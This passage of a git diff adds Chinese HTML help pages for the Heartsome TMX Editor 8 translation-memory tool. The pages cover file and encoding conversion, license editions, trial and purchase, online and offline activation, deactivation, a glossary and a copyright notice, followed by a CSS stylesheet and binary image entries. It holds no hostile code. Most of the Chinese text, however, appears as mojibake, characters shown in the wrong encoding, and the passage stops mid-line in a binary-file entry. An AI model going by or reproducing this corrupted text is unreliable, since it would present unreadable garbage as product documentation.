      Icelandicis
      Italianit
      Italian (Swiss)it-CH
      Italian (Italy)it-IT
      Inuktitutiu
      Japaneseja
      Javanesejv
      Georgianka
      Kongokg
      Kikuyu; Gikuyuki
      Kuanyama; Kwanyamakj
      Kazakhkk
      Kalaallisut; Greenlandickl
      Khmerkm
      Kannadakn
      Koreanko
      Korean (Johab)ko-JB
      Kanurikr
      Kashmiriks
      Kurdishku
      Komikv
      Cornishkw
      Kirghizky
      Latinla
      Luxembourgish; Letzeburgeschlb
      Gandalg
      Limburgan; Limburger; Limburgishli
      Lingalaln
      Laolo
      Lithuanianlt
      Luba-Katangalu
      Latvianlv
      Malagasymg
      Marshallesemh
      Maorimi
      Macedonianmk
      Malayalamml
      Mongolianmn
      Moldavianmo
      Marathimr
      Malayms
      Maltesemt
      Burmesemy
      Nauruna
      Norwegian Bokmålnb
      Ndebele, Northnd
      Nepaline
      Ndongang
      Dutchnl
      Dutch (Belgium)nl-BE
      Norwegian Nynorsknn
      Norwegianno
      Ndebele, Southnr
      Navajo; Navahonv
      Chichewa; Chewa; Nyanjany
      Occitan; Provençaloc
      Ojibwaoj
      Oromoom
      Oriyaor
      Ossetian; Osseticos
      Panjabi; Punjabipa
      Palipi
      Polishpl
      Pushtops
      Portuguesept
      Portuguese (Brazilian)pt-BR
      Quechuaqu
      Raeto-Romancerm
      Rundirn
      Romanianro
      Russianru
      Russian (Russia)ru-RU
      Kinyarwandarw
      Sanskritsa
      Sardiniansc
      Sindhisd
      Northern Samise
      Sangosg
      Sinhala; Sinhalesesi
      Slovaksk
      Sloveniansl
      Samoansm
      Shonasn
      Somaliso
      Albaniansq
      Serbiansr
      Swatiss
      Sotho, Southernst
      Sundanesesu
      Swedishsv
      Swedish (Finland)sv-FI
      Swahilisw
      Tamilta
      Telugute
      Tajiktg
      Thaith
      Tigrinyati
      Turkmentk
      Tagalogtl
      Tswanatn
      Tongato
      Turkishtr
      Tsongats
      Tatartt
      Twitw
      Tahitianty
      Uighur; Uyghurug
      Ukrainianuk
      Urduur
      Uzbekuz
      Vendave
      Vietnamesevi
      Volapükvo
      Walloonwa
      Wolofwo
      Xhosaxh
      Yiddishyi
      Yorubayo
      Zhuang; Chuangza
      Chinesezh
      Chinese (People's Republic)zh-CN
      Chinese (Hong Kong)zh-HK
      Chinese (Singapore)zh-SG
      Chinese (Taiwan)zh-TW
      Zuluzu
      + +
      + + + + + + +
      +
      +
      + +
    • +
    +
    +

    +特别说明:此功能目å‰åªæ”¯æŒå•ä¸ªå¤–部文件的转æ¢ï¼Œå¦‚果您有多个外部文件需è¦è½¬æ¢å¤„ç†ï¼Œé‚£ä¹ˆæ‚¨å¯ä»¥æœ‰2ç§æ–¹æ³•ï¼š

    +

    1)手动将所有外部文件整ç†åœ¨ä¸€ä¸ªæ–‡ä»¶ä¸­ï¼Œåªéœ€è¿›è¡Œä¸€æ¬¡è½¬æ¢ã€‚

    +

    2)执行多次转æ¢ï¼Œåœ¨é€‰æ‹©ä¿å­˜æ–¹å¼æ—¶ï¼Œå‹¾é€‰“追加到已有 TMX + 中”,将多个文件转æ¢å…¥åŒä¸€ä¸ª TMX。

    +
    +
    +文件编ç è½¬æ¢å™¨
    +
    +

    ç¼–ç è½¬æ¢å™¨ä¸ºæ‚¨æ供一个文本文件编ç è½¬æ¢çš„实用å°å·¥å…·ã€‚当æŸäº›CAT工具åªæ”¯æŒå¯¼å…¥ç‰¹å®šç¼–ç çš„ TMX + 文件时,此工具能助您轻æ¾åœ°å®Œæˆç¼–ç è½¬æ¢ã€‚

    +

    + +

    +
    +
      +
    • + +

      +使用方法: +

      + + +

      1ã€èœå•“工具”-“ç¼–ç è½¬æ¢å™¨”,打开转æ¢å¯¹è¯æ¡†ã€‚

      + + +

      2ã€é€‰æ‹©“æºæ–‡ä»¶”,“æºæ–‡ä»¶ç¼–研会自动检测并选中。如果自动检测有误,也å¯æ‰‹åŠ¨è°ƒæ•´ã€‚

      + + +

      3ã€é€‰æ‹©è½¬æ¢åŽçš„“目标文件”存放路径和å称。

      + + +

      4ã€é€‰æ‹©éœ€è¦è½¬æ¢æˆçš„“目标文件编研。

      + + +

      5ã€ç‚¹å‡»ã€è½¬æ¢ã€‘按钮,执行转æ¢æ“作。

      + +
    • +
    +
    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch08.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch08.html new file mode 100644 index 0000000..3eab89b --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch08.html @@ -0,0 +1,231 @@ + + + +å…³äºŽç‰ˆæœ¬å’Œè®¸å¯ + + + + + + + + +
    +
    +
    +
    +

    +关于版本和许å¯

    +
    +
    +
    + + + +
    +
    +
    +版本介ç»
    +
    +

    以下 Heartsome TMX Editor 8 版本å¯ç”¨ï¼š

    +
    +
      +
    • + +

      å…费版

      + +
    • +
    • + +

      试用版

      + +
    • +
    • + +

      æ­£å¼ç‰ˆ

      + +
    • +
    +
    +
    +
    +
    å…费版
    +
    +

    Heartsome TMX Editor 8 å…费版在功能上与正å¼ç‰ˆå®Œå…¨ä¸€æ ·ï¼Œåªæ˜¯å¯¹å¤„ç†çš„ TMX + 文件的翻译å•å…ƒä¸ªæ•°é™åˆ¶äº†10000个。

    +
    +
    试用版
    +
    +

    试用版的有效期是3个月,无任何é™åˆ¶ã€‚试用期到期åŽï¼Œä¼šè‡ªåŠ¨ä»¥å…费版方å¼ç»§ç»­æ°¸ä¹…使用。

    +
    +
    æ­£å¼ç‰ˆ
    +
    +

    ç”± Heartsome + å…¬å¸çš„商业许å¯è¯æ¿€æ´»åŽçš„版本。当您购买了商业许å¯è¯åŽï¼Œå½“å‰æ­£åœ¨ä½¿ç”¨çš„“å…费版”〓试用版”å‡å¯ç›´æŽ¥æ¿€æ´»å‡çº§ä¸º“æ­£å¼ç‰ˆ”。

    +
    +
    +
    +
    +
    +如何申请试用和购买许å¯
    +
    +
    +
      +
    • + +

      +申请试用: +

      + + +

      1ã€è®¿é—®è¯•ç”¨ç”³è¯·ç½‘ç«™https://lic.heartsome.net/webbuy/r8trial.jsp。

      + + +

      2ã€è¾“入姓åã€ç”µå­é‚®ç®±ï¼ŒåŠå…¶ä»–选填信æ¯ã€‚

      + + +

      3ã€æ交申请表å•ï¼Œç³»ç»Ÿä¼šè‡ªåŠ¨å‘é€è¯•ç”¨è®¸å¯è¯åˆ°æ‚¨çš„填写的电å­é‚®ç®±ã€‚

      + +
    • +
    • + +

      +购买许å¯è¯ï¼š +

      + + +

      1ã€è®¿é—®è´­ä¹°ç½‘ç«™https://lic.heartsome.net/webbuy/r8buy.jsp。

      + + +

      2ã€è¾“入姓åã€ç”µå­é‚®ç®±ï¼ŒåŠå…¶ä»–选填信æ¯ã€‚

      + + +

      3ã€é€‰æ‹©è¦è´­ä¹°çš„产å“åŠç‰ˆæœ¬ç±»åž‹ï¼Œå¹¶è¾“入购买数é‡ã€‚

      + + +

      4ã€ç‚¹å‡»æ交按钮,å†æ¬¡ç¡®è®¤è®¢å•ä¿¡æ¯æ— è¯¯åŽï¼Œç‚¹å‡»é€šè¿‡ + Paypal 支付按钮,并按相应的æ示进行支付。

      + + +

      5ã€æ”¯ä»˜æˆåŠŸåŽï¼Œæˆ‘们的许å¯è¯æœåŠ¡å™¨ä¼šè‡ªåŠ¨å°†è®¸å¯è¯å‘é€åˆ°æ‚¨å¡«å†™çš„邮箱。

      + +
    • +
    +
    +
    +
    +如何激活许å¯è¯
    +
    +

    ä¸è®ºæ˜¯è¯•ç”¨è®¸å¯è¿˜æ˜¯æ­£å¼è®¸å¯ï¼Œå‡éœ€è¦æ¿€æ´»è½¯ä»¶æ‰èƒ½æ­£å¸¸ä½¿ç”¨ã€‚Heartsome TMX Editor 8 + 有“在线激活(推è)”å’Œ“离线激活”两ç§æ–¹å¼å¯é€‰ã€‚以下介ç»æ¿€æ´»æ–¹æ³•ï¼š

    +
    +
      +
    • + +

      +在线激活: +

      + + +

      1ã€åœ¨è®¸å¯è¯ç®¡ç†å¯¹è¯æ¡†ä¸­ï¼Œå°†ä»Žé‚®ä»¶ä¸­å¤åˆ¶çš„许å¯è¯å·ç ç²˜è´´åˆ°ç¬¬ä¸€ä¸ªæ–‡æœ¬æ¡†ï¼Œå…¶ä½™æ–‡æœ¬æ¡†å°†è‡ªåŠ¨å¡«å……。

      + + +

      + +

      + + +

      2ã€ç¡®è®¤ç½‘络连接。如果您通过代ç†æœåŠ¡å™¨è¿žæŽ¥ Internet,请点击ã€ç½‘络连接】按钮,进入自定义代ç†è®¾ç½®ã€‚

      + + +

      3ã€ç‚¹å‡»ã€æ¿€æ´»ã€‘按钮。

      + + +

      4ã€è‹¥æ— å¼‚常情况å‘生,则会æ示已æˆåŠŸæ¿€æ´»ï¼Œé‡æ–°æ‰“å¼€“帮助”-“许å¯è¯ç®¡ç†”å³å¯çœ‹åˆ°è®¸å¯çŠ¶æ€ä¸º“已激活”。

      + +
    • +
    • + +

      +离线激活: +

      + + +

      在使用离线激活方å¼ä¹‹å‰ï¼Œè¯·å…ˆç¡®è®¤æ‚¨å·²è´­ä¹°å•†ä¸šè®¸å¯è¯ï¼Œè€Œéžè¯•ç”¨è®¸å¯è¯ã€‚离线激活需è¦å¦‚下四个步骤æ¥å®Œæˆï¼š

      + + +

      1ã€è¾“入您购买的商业许å¯è¯åºåˆ—å·ï¼Œç‚¹å‡»ã€ä¸‹ä¸€æ­¥ã€‘按钮。

      + + +

      2ã€èŽ·å–激活ç ï¼š

      + + +

      下图所示的界é¢ä¸Šï¼Œæ˜¾ç¤ºäº†è½¯ä»¶è‡ªåŠ¨ç”Ÿæˆçš„激活ç ï¼Œæ‚¨åªéœ€å°†å…¶å¤åˆ¶åˆ°é‚®ä»¶æˆ–文本文件中,将其å‘é€åˆ° + licensing@heartsome.net,然åŽç­‰å¾…我们的处ç†ã€‚这时您å¯ä»¥é€€å‡ºæœ¬è½¯ä»¶ã€‚

      + + +

      + +

      + + +

      3ã€èŽ·å–授æƒæ–‡ä»¶ï¼š

      + + +

      Heartsome + 在收到您æ供的激活ç ä¹‹åŽï¼Œä¼šå°†ç›¸åº”的授æƒæ–‡ä»¶ï¼ˆæ–‡ä»¶å为“åºåˆ—å·.lic”å½¢å¼ï¼‰ä»¥é™„件形å¼å‘é€åˆ°æ‚¨çš„邮箱。请将收到的授æƒæ–‡ä»¶ä»Žé‚®ä»¶ä¸­ä¿å­˜åˆ°æ‚¨çš„本地硬盘中,然åŽé‡å¤ä¸Šè¿°ç¬¬ä¸€ã€äºŒæ­¥æ“作,

      + + +

      并在上图的界é¢ä¸­ç›´æŽ¥ç‚¹å‡»ã€ä¸‹ä¸€æ­¥ã€‘按钮。

      + + +

      + 特别说明:如果您想一次性以离线方å¼æ¿€æ´»å¤šä¸ªè®¸å¯è¯ï¼Œä¹Ÿå¯ä»¥ç”¨ Excel + 文件(.xlsæ ¼å¼ï¼‰ä¿å­˜æ¿€æ´»ç ã€‚ 请将激活ç æ”¾åœ¨ Excel + 表格的第一列ã€ä¸”æ¯è¡Œåªæ”¾ä¸€ä¸ªæ¿€æ´»ç ã€‚为方便识别和管ç†å¤šä¸ªè®¸å¯è¯ï¼Œæ‚¨è¿˜å¯ä»¥åœ¨è¡¨æ ¼çš„第二ã€ä¸‰åˆ—ä¿å­˜ä¸Žæ¿€æ´»ç ç›¸å¯¹åº”的许å¯è¯åºåˆ—å·ã€ä½¿ç”¨è€…姓å或计算机å等附加信æ¯ï¼Œä½†åªæœ‰ç¬¬ä¸€åˆ—的激活ç æ˜¯å¿…需的。

      + + +

      4ã€ç‚¹å‡»ã€æµè§ˆã€‘按钮,选择收到的 .lic + 文件,然åŽå•å‡»ã€æ¿€æ´»ã€‘按钮,执行激活æ“作。若无异常情况å‘生,则会æ示已æˆåŠŸæ¿€æ´»ã€‚

      + +
    • +
    +
    +
    +
    +如何å–消激活
    +
    +

    如果属于如下情况之一,则需è¦å…ˆè¿›è¡Œ“å–消激活”许å¯è¯çš„æ“作:

    +
    +
      +
    • + +

      打算将当å‰çš„“试用许寔æ¢æˆè´­ä¹°çš„“商业许寔。

      + +
    • +
    • + +

      打算é‡æ–°å®‰è£…æ“作系统。

      + +
    • +
    • + +

      打算将当å‰ä½¿ç”¨çš„许å¯è¯è½¬ç§»åˆ°å¦ä¸€å°è®¡ç®—机上使用。

      + +
    • +
    +
    +

    å–消激活许å¯è¯çš„步骤如下:

    +

    1ã€èœå•“帮助”-“许å¯è¯ç®¡ç†”,打开许å¯è¯ç®¡ç†å¯¹è¯æ¡†ã€‚

    +

    + +

    +

    2ã€ç¡®è®¤å·²è¿žæŽ¥ç½‘络åŽï¼ˆå¦‚需设置代ç†æœåŠ¡å™¨ï¼Œè¯·å‚考自定义代ç†ï¼‰ï¼Œç‚¹å‡»ã€å–消激活】按钮。

    +

    3ã€å¾…æ“作完æˆåŽï¼Œè½¯ä»¶å°†è‡ªåŠ¨é‡æ–°å¯åŠ¨ï¼Œé‡å¯åŽè®¸å¯è¯çŠ¶æ€å˜ä¸ºæ— è®¸å¯è¯ã€‚

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch09.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch09.html new file mode 100644 index 0000000..b9aa13a --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch09.html @@ -0,0 +1,81 @@ + + + +术语表 + + + + + + + + +
    +
    +
    +
    +

    +术语表

    +
    +
    +
    + + + +
    +
    +
    TMX文件
    +
    +

    TMX(TM 交æ¢ï¼‰æ˜¯ç”¨äºŽäº¤æ¢ç¿»è¯‘记忆库的行业标准格å¼ã€‚Heartsome TMX Editor 8 å¯ç¼–辑和维护 TMX + 文件。åŒæ—¶ï¼ŒHeartsome Translation Studio 8 è®°å¿†åº“ä¹Ÿæ”¯æŒ TMX 文件的导入和导出。

    +
    +
    TBX文件
    +
    +

    TBX 是术语标记语言。它是开放的ã€åŸºäºŽ XML + 的标准,用于交æ¢ç»“构化术语数æ®ï¼Œå®žçŽ°å°†ä¿¡æ¯ä»Žä¸€ä¸ªæœ¯è¯­åº“ä¼ é€åˆ°å¦ä¸€ä¸ªæœ¯è¯­åº“。

    +
    +
    翻译å•å…ƒ
    +
    +

    翻译记忆库 (TM) 中的æ¡ç›®ï¼ŒåŒ…å«åŽŸæ–‡æœ¬å¥æ®µã€å…¶ç¿»è¯‘文本和补充的 TM æ•°æ®ï¼Œä¾‹å¦‚翻译日期。在 TMX + 中,翻译å•å…ƒç­‰åŒäºŽå…ƒç´ < tu>(较ä¸å¸¸è§ï¼‰æ–‡æœ¬ï¼Œå®ƒæ˜¯ç”¨äºŽåŒ¹é…çš„å•ä¸ªå•å…ƒï¼Œç­‰åŒäºŽç¿»è¯‘文本段。

    +
    +
    翻译å•å…ƒå˜é‡
    +
    +

    文本片断包å«åœ¨ç¿»è¯‘å•å…ƒï¼ˆ<tu> 元素)中,æ¯ä¸ª + <tu>元素包å«ä¸€ä¸ªæˆ–多个<tuv>元素的翻译å•å…ƒå˜é‡ï¼Œè€Œè¿™äº›ç¿»è¯‘å•å…ƒå˜é‡åˆ†åˆ«æ˜¯åŒä¸€ä¸ªç¿»è¯‘å•å…ƒä¸åŒè¯­è¨€çš„译文。æ¯ä¸ª<tuv>元素包å«ç‰‡æ–­å’Œç»™å®šè¯­è¨€ç›¸å…³çš„片断信æ¯ã€‚

    +
    +
    内部标记
    +
    +

    å¯ç¿»è¯‘项目中ä¸åº”æ供给译员进行翻译的内容。这包括布局和格å¼è®¾ç½®ä¿¡æ¯ã€æ ·å¼å®šä¹‰å’Œå­—体信æ¯ã€‚

    +
    +
    æº
    +
    +

    æ述原始的未翻译项目。例如:æºæ–‡ã€æºè¯­è¨€ã€‚与目标相比较。å¦è¯·å‚阅语言对。

    +
    +
    目标
    +
    +

    æ述已翻译或目标项目,例如:目标内容ã€ç›®æ ‡è¯­è¨€ã€ç›®æ ‡å¥æ®µã€‚与æºç›¸æ¯”较。å¦è¯·å‚阅语言对。

    +
    +
    语言对
    +
    +

    æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€ï¼Œä¾‹å¦‚英语到法语,或者英语(英国)到法语(瑞士)。 + 语言对具有方å‘:英语到法语与法语到英语ä¸åŒã€‚

    +
    +
    过滤器
    +
    +

    对内容进行过滤æå–的规则组åˆã€‚过滤器包å«ä¸€ä¸ªæˆ–多个规则。过滤器规则根æ®å¼•ç”¨å€¼æ¥æ¯”较内容。当您应用过滤器时,应用程åºå°†ä»…显示或处ç†ç¬¦åˆè¿™äº›è§„则的内容。

    +
    +
    HS
    +
    +

    Heartsome,公å¸å称缩写。

    +
    +
    HSTM
    +
    +

    Heartsome Translation Studio 8 记忆库。

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch10.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch10.html new file mode 100644 index 0000000..22dd283 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch10.html @@ -0,0 +1,36 @@ + + + +ç‰ˆæƒ + + + + + + + +
    +
    +
    +
    +

    +版æƒ

    +
    +
    +
    + + + +

    版æƒæ‰€æœ‰© 2013瀚特盛科技有é™å…¬å¸ã€‚

    + + +

    本软件的任何授æƒå‰¯æœ¬çš„知识产æƒåŠç›¸å…³è½¯ä»¶çš„结构ã€ç»„织和代ç çš„有价知识产æƒï¼ˆä¾‹å¦‚商业秘密和ä¿å¯†ä¿¡æ¯ï¼‰å‡å±žäºŽ + HEARTSOME。本软件中所使用到的第三方软件的知识产æƒå½’该第三方所有。

    + + +

    本软件å—法律(包括但ä¸é™äºŽé¦™æ¸¯ç‰¹åˆ«è¡Œæ”¿åŒºå’Œå…¶ä»–国家的版æƒæ³•ï¼‰ä»¥åŠå›½é™…å约æ¡æ¬¾ä¿æŠ¤ã€‚除éžæ˜Žç¡®è¡¨è¿°ï¼Œå¦åˆ™ä¸æŽˆäºˆç”¨æˆ·å¯¹æœ¬è½¯ä»¶çš„任何知识产æƒï¼Œä¸” + HEARTSOME åŠå…¶ä¾›åº”商ä¿ç•™æœªæ˜Žç¡®æŽˆäºˆçš„其他所有æƒåˆ©ã€‚

    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/css/style.css b/te/net.heartsome.cat.te.ui.help/html/zh/css/style.css new file mode 100644 index 0000000..f3456e9 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/css/style.css @@ -0,0 +1,247 @@ +/* +Product: Heartsome Translation Studio +Author: Jacky Zeng +Date: 2012-11-25 +Version: 1.1 +*/ + + +body { + font-size: 13px; + color: #000; + font-family: Arial, Helvetica, 宋体, simsun, sans-serif; +} + + a:visited { + color: gray; +} +a:link{ + text-decoration: none; +} +a:hover, a:active { + text-decoration: underline; + color: blue; +} + +p { + font-size: 13px; + line-height: 1; + margin-left:20px; + +} + +em { + font-style: normal; +} +/* +Page Header +*/ +.navheader { + font-size: 13px; +} +.navheader a:link { + text-decoration: none; + font-size: 13px; + color: #000; +} +.navheader a:hover { + text-decoration: underline; + color: #ff0000; + font-size: 13px; +} +.navheader a:visited { + text-decoration: none; + color: #000; + font-size: 13px; +} + +.navheader th { + color: #1B5874; + font-size: 20px; +} +/* +Page Footer +*/ +.navfooter { + font-size: 13px; +} + +.navfooter table tr th td { + font-size: 13px; + color: #000; +} +.navfooter a:link { + text-decoration: none; + color: #000; + font-size: 13px; +} +.navfooter a:hover { + text-decoration: underline; + color: #ff0000; + font-size: 13px; +} +.navfooter a:visited { + text-decoration: none; + color: #000; + font-size: 13px; +} + +/* +Chapter title +Level 1 +*/ +h1 { + font-size: 20px; + font-weight: bold; + text-align: center; + color: #1B5874; +} + +/* +Section title +Level 2 +*/ +h2 { + font-size: 18px; + font-weight: bold; + color: #1B5874; +} + +h2.title { + font-size: 18px; + font-weight: bold; + color: #1B5874; +} +/* +Section title +Level 3 +*/ +h3 { + font-size: 16px; + font-weight: bold; + color: #1B5874; +} + +h3.title { + font-weight: bold; + font-size: 16px; + color: #1B5874; + +} + +/* +Section title +Level 4 +*/ +h4 { + font-size: 13px; + font-weight: bold; +} + +h4.title { + font-weight: bold; + font-size: 13px; + color: #1B5874; +} + +.sect2 { + margin-left: 20px; +} + +.sect3 { + margin-left: 30px; +} + +span.emphasis, .emphasis { + font-weight: bold; + line-height: 1.0; +} + +div.glosslist { + margin-left: 20px; +} + +div.glossary_item_title { + font-weight: bold; + font-size: 13px; + margin-top: 10px; + margin-bottom: 10px; + color: #1b5874; +} + + + +div.note, div.warning { + background-image: url(../images/mark-icons-warn.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +div.tip { + background-image: url(../images/mark-icons-info.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +div.question { + background-image: url(../images/mark-icons-questions.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +ol.orderedlist, li.listitem { + margin-left: 0px; + +} + +.interfacename { + font-weight: bold; + font-size: 13px; +} + +span.guilabel, span.type { + font-size: 13px; + font-weight: normal; +} +dd { + display: block; + margin-top: 0; + margin-bottom: 0; + margin-left: 20px; +} +dl { + margin-top: 0; + margin-bottom: 0; + margin-left: -1; +} +li p { + margin-bottom: 5px; + margin-top: 5px; + margin-left:0px; + line-height: 2; +} +div p{ + margin-bottom: 5px; + margin-top: 5px; + margin-left:0px; + line-height: 2; +} +li strong { + color: rgb(47, 105, 86); + font-family: Verdana, Arial, Helv, Helvetica, sans-serif; + font-size:14px; +} +strong { + color: black; +} + +.tableStyle{width: 400px;background-color: #95A5D2;} +.headerTd{background-color: #F3F8FD;font-size: 9pt;height: 25;text-align: center;font-weight:bold;COLOR: #1b5874;} +.fileTd {height: 24;padding-left:6px ;font-size: 9pt;} + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/QA1.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/QA1.png new file mode 100644 index 0000000..50cd121 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/QA1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/QA2.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/QA2.png new file mode 100644 index 0000000..eaf440a Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/QA2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/QA3.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/QA3.png new file mode 100644 index 0000000..e6d596c Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/QA3.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/Thumbs.db b/te/net.heartsome.cat.te.ui.help/html/zh/images/Thumbs.db new file mode 100644 index 0000000..a10e598 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/Thumbs.db differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/clean_tm.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/clean_tm.png new file mode 100644 index 0000000..7d68975 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/clean_tm.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/cut_up_tmx.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/cut_up_tmx.png new file mode 100644 index 0000000..65a61aa Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/cut_up_tmx.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/database_1.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_1.png new file mode 100644 index 0000000..a5be8c9 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/database_2.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_2.png new file mode 100644 index 0000000..bca575d Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/database_3.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_3.png new file mode 100644 index 0000000..edb60d7 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_3.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/database_4.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_4.png new file mode 100644 index 0000000..037eccf Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_4.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/database_5.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_5.png new file mode 100644 index 0000000..89f9615 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/database_5.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/icons_add.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/icons_add.png new file mode 100644 index 0000000..550cc6a Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/icons_add.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/icons_del.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/icons_del.png new file mode 100644 index 0000000..52632fb Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/icons_del.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/icons_edit.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/icons_edit.png new file mode 100644 index 0000000..bc46776 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/icons_edit.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/key_1.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/key_1.png new file mode 100644 index 0000000..cbb875a Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/key_1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/key_2.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/key_2.png new file mode 100644 index 0000000..e66dd97 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/key_2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/lang_select.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/lang_select.png new file mode 100644 index 0000000..b73d801 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/lang_select.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/lic1.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/lic1.png new file mode 100644 index 0000000..757aef8 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/lic1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/lic2.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/lic2.png new file mode 100644 index 0000000..0c2998b Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/lic2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/lic3.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/lic3.png new file mode 100644 index 0000000..c5d7cc7 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/lic3.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/main.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/main.png new file mode 100644 index 0000000..af59b32 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/main.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/mark-icons-info.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/mark-icons-info.png new file mode 100644 index 0000000..c88e63f Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/mark-icons-info.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/save.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/save.png new file mode 100644 index 0000000..7b1e304 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/save.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/search_key.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/search_key.png new file mode 100644 index 0000000..4fccf06 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/search_key.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/search_quick.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/search_quick.png new file mode 100644 index 0000000..07df43b Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/search_quick.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/set.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/set.png new file mode 100644 index 0000000..68d0067 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/set.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/set_1.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/set_1.png new file mode 100644 index 0000000..ab932c2 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/set_1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/set_2.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/set_2.png new file mode 100644 index 0000000..296298f Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/zh/images/set_2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/images/set_3.png b/te/net.heartsome.cat.te.ui.help/html/zh/images/set_3.png new file mode 100644 index 0000000..f579d95 Binary files /dev/null and 